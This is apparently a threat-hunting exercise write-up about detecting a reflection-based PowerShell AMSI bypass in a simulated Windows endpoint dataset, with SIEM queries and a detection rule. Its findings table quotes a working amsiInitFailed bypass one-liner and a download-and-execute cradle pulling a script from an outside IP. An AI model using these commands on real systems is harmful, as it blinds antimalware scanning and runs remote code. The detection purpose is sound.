Threat Hunting Exercise: Analyzing Windows AMSI Bypass via PowerShell Reflection Dataset
This hunt uses a simulated endpoint dataset (windows_amsi_bypass_2022-08-16T144500.json) capturing T1562.001: Impair Defenses (Disable or Modify Tools), where an attacker uses .NET reflection within a PowerShell session to patch the in-memory AMSI (Antimalware Scan Interface) buffer/flag, blinding script-content inspection before running further malicious code.
Step 1: Hypothesis Formation
Hypothesis: A PowerShell session executes a command referencing System.Management.Automation.AmsiUtils via reflection ([Ref].Assembly.GetType(...)) to set the internal amsiInitFailed field to true or overwrite the AmsiScanBuffer function prologue in memory, followed immediately by execution of obviously malicious script content that would normally be flagged. Indicators:
- PowerShell ScriptBlock logging (Event ID 4104) captures a command referencing
AmsiUtils,amsiInitFailed, orAmsiScanBuffervia reflection. - The same session subsequently executes a large base64-encoded or heavily obfuscated payload that AMSI would typically catch.
- No corresponding Windows Defender/AMSI detection event fires for the subsequent payload, despite it matching known malicious patterns.
- The PowerShell process is running with
-ExecutionPolicy Bypassor-NoProfile -WindowStyle Hidden.
Null Hypothesis: A penetration tester or red-team engagement is authorized to test AMSI bypass techniques as part of a scoped assessment. Invalidate by checking the red-team engagement calendar/rules-of-engagement document for this host and time window.
Rationale: AMSI is one of the last content-inspection layers before a malicious PowerShell payload executes; bypassing it renders most script-based AV/EDR detections blind, making direct reflection-call monitoring critical since it doesn't depend on catching the (now-invisible) payload itself.
Step 2: Data Sources and Scope
- Sources: PowerShell Operational Event Log (4104 - ScriptBlock Logging, 4103 - Module Logging); Sysmon Event ID 1 (Process Creation); Windows Defender Operational log (for the absence of expected detections).
- Scope: ~2022-08-16T14:45:00-14:46:30 UTC; Host: WKS-DEV-033 (10.210.7.18); User: t.nguyen.
- SIEM Queries (Splunk/ELK):
index=powershell EventCode=4104 ScriptBlockText="AmsiUtils" OR ScriptBlockText="amsiInitFailed"index=powershell EventCode=4104 ScriptBlockText="AmsiScanBuffer"- Correlate with subsequent payload:
... | transaction Computer maxspan=2m startswith(ScriptBlockText="AmsiUtils") endswith(ScriptBlockText="FromBase64String")
Step 3: Key Findings
Parsed events (5 shown) confirm a PowerShell session patched the AMSI in-memory flag via reflection, then executed a base64-encoded downloader that Defender never scanned.
| Timestamp (UTC) | Host | Event | Detail | IOC/Why Suspicious? |
|---|---|---|---|---|
| 2022-08-16 14:45:03 | WKS-DEV-033 | Sysmon 1 - Process Create | powershell.exe -nop -w hidden -enc <base64> | Delivery IOC: hidden window, no-profile, encoded command - standard obfuscation flags for scripted attack tooling. |
| 2022-08-16 14:45:05 | WKS-DEV-033 | PowerShell 4104 | Decoded script contains: $a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true) | AMSI-Bypass IOC: textbook reflection-based AMSI patch - this exact technique (setting amsiInitFailed) is one of the most common public bypass one-liners. |
| 2022-08-16 14:45:06 | WKS-DEV-033 | PowerShell 4104 | Immediately following, script contains IEX (New-Object Net.WebClient).DownloadString('hxxp://194.61.55.90/stage2.ps1') | Post-Bypass Execution IOC: a download-and-execute cradle run immediately after AMSI was disabled - this content would normally be flagged by AMSI/Defender signatures. |
| 2022-08-16 14:45:10 | WKS-DEV-033 | Windows Defender Operational | No detection event logged for the stage2.ps1 download or execution | Evasion-Confirmed IOC: absence of an expected Defender alert for known-bad content is itself the strongest indicator that AMSI was successfully blinded. |
| - | - | (engagement check) | No red-team rules-of-engagement document authorizes activity on WKS-DEV-033 during this window | Confirms this is unauthorized/malicious activity, not a sanctioned assessment. |
Validation:
- Timeline: hidden encoded PowerShell launch, AMSI reflection patch, and immediate malicious download-execute cradle all within 7 seconds - a fully automated attack chain.
- False Positives: no red-team engagement or authorized security-testing record covers this host/window; the absence of any Defender detection for clearly-malicious download content corroborates a successful bypass rather than a benign gap in AV coverage.
- Correlation: reflection-based field modification followed immediately by unflagged malicious execution is functionally impossible to explain benignly - high confidence AMSI bypass.
Step 4: Recommendations & Next Steps
- Immediate Response: Isolate WKS-DEV-033; terminate the PowerShell process tree; retrieve and analyze
stage2.ps1from network capture/proxy logs since it was never scanned locally; reset credentials for t.nguyen; hunt fleet-wide for the same reflection pattern. - Detection: Sigma-style rule:
title: AMSI Bypass via AmsiUtils Reflection→selection: EventID=4104 AND ScriptBlockText contains ("AmsiUtils" AND ("amsiInitFailed" OR "AmsiScanBuffer")). - Pro Tip: Enable PowerShell ScriptBlock and Module logging fleet-wide (not just on servers) - this is the single control that made this bypass visible at all, since the malicious payload itself was invisible to AMSI/Defender once the bypass succeeded; also consider Constrained Language Mode for non-admin users to reduce reflection-based tampering surface.
Hypothesis confirmed - an attacker used a well-known .NET reflection technique to patch AMSI in-memory, then executed an unflagged malicious download-and-execute payload that Windows Defender never scanned!